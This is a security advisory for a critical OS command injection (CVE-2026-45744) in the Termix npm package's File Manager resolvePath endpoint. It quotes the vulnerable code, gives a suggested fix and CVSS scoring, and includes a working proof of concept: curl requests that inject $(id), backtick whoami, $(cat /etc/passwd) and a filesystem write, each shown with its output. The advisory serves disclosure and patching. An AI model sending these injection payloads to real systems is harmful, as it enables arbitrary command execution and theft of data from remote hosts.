Skip to content

OS Command Injection in File Manager resolvePath endpoint

Critical
ZacharyZcR published GHSA-37f4-wq95-pg33 May 31, 2026

Package

npm termix (npm)

Affected versions

<= 2.1.0

Patched versions

>=2.3.2

Description

Summary

The GET /ssh/file_manager/ssh/resolvePath endpoint in Termix is vulnerable to OS command injection. The endpoint uses double-quote escaping for shell command construction, which does not prevent $(...) and backtick command substitution. Any authenticated user with an active File Manager SSH session can execute arbitrary commands on the connected remote host.

Details

File: src/backend/ssh/file-manager.ts, lines 2740–2748:

let expandPath = rawPath;
if (expandPath.startsWith("~")) {
  expandPath = "$HOME" + expandPath.substring(1);
}

const escapedPath = expandPath.replace(/"/g, '\\"');
const command = `echo "${escapedPath}"`;

sshConn.client.exec(command, (err, stream) => {

The path query parameter goes through decodeURIComponent() at line 2724, then only " characters are escaped with \". The resulting string is placed inside double quotes in a shell echo command executed over SSH.

In POSIX shells, double-quoted strings still interpret:

  • $(...) — command substitution
  • ` (backticks) — command substitution (legacy syntax)
  • $VAR / ${VAR} — variable expansion

Every other endpoint in the same file correctly uses single-quote escaping (replace(/'/g, "'"'"'")), which prevents all shell metacharacter interpretation. This endpoint is the only one that uses the double-quote pattern.

PoC

Prerequisites

  • A running Termix instance (tested on v2.1.0 Docker image)
  • Any valid Termix user account
  • A target SSH host added to Termix

Exploitation

After logging in and establishing a File Manager SSH session, the following requests demonstrate arbitrary command execution on the remote SSH host:

# Authenticate and store session cookie
curl -s -c cookies.txt -X POST http://<TERMIX_HOST>:30001/users/login \
  -H "Content-Type: application/json" \
  -d '{"username":"<USER>","password":"<PASS>"}'

# Open a File Manager SSH connection (returns/uses a sessionId)
curl -s -b cookies.txt -X POST http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/connect \
  -H "Content-Type: application/json" \
  -d '{"sessionId":"poc-session","hostId":1,"ip":"<SSH_HOST>","port":22,"username":"<SSH_USER>","password":"<SSH_PASS>","authType":"password"}'

# PoC 1 — Run 'id' via $() substitution
curl -s -b cookies.txt \
  "http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/resolvePath?sessionId=poc-session&path=\$(id)"

# PoC 2 — Run 'whoami' via backtick substitution
curl -s -b cookies.txt \
  "http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/resolvePath?sessionId=poc-session&path=%60whoami%60"

# PoC 3 — Read /etc/passwd
curl -s -b cookies.txt \
  "http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/resolvePath?sessionId=poc-session&path=\$(cat%20/etc/passwd)"

# PoC 4 — Write to filesystem (proves full RCE, not just read)
curl -s -b cookies.txt \
  "http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/resolvePath?sessionId=poc-session&path=\$(echo%20HACKED%20>%20/tmp/pwned.txt%20%26%26%20cat%20/tmp/pwned.txt)"

Output

Tested against Termix v2.1.0 Docker image with an Alpine-based SSH target:

PoC 1 — $(id):

{"resolvedPath":"uid=1000(testuser) gid=1000(users) groups=1000(users)"}

PoC 2 — whoami:

{"resolvedPath":"testuser"}

PoC 3 — $(cat /etc/passwd):

{"resolvedPath":"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...testuser:x:1000:1000::/config:/bin/bash"}

PoC 4 — $(echo HACKED > /tmp/pwned.txt && cat /tmp/pwned.txt):

{"resolvedPath":"HACKED"}

Impact

An authenticated Termix user can run arbitrary OS commands on any remote host they have a File Manager session connected to. This includes reading sensitive files, writing to the filesystem, and establishing reverse shells. The injected commands run as the SSH user that the File Manager session is authenticated with.

The intended purpose of the resolvePath endpoint is to expand path shortcuts (e.g. ~ to /home/user). It is not meant to provide command execution — the Terminal feature exists for that. The vulnerability arises from inconsistent escaping: this is the only endpoint in file-manager.ts that uses double-quote escaping instead of the single-quote pattern used everywhere else in the file.

Suggested Fix

Replace the double-quote escaping with the single-quote escaping pattern that the rest of the file already uses:

// Before (vulnerable):
const escapedPath = expandPath.replace(/"/g, '\\"');
const command = `echo "${escapedPath}"`;

// After (safe):
const escapedPath = expandPath.replace(/'/g, "'\"'\"'");
const command = `echo '${escapedPath}'`;

Alternatively, avoid running a shell command entirely and resolve the path through SFTP realpath(), which does not involve a shell at all.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-45744

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits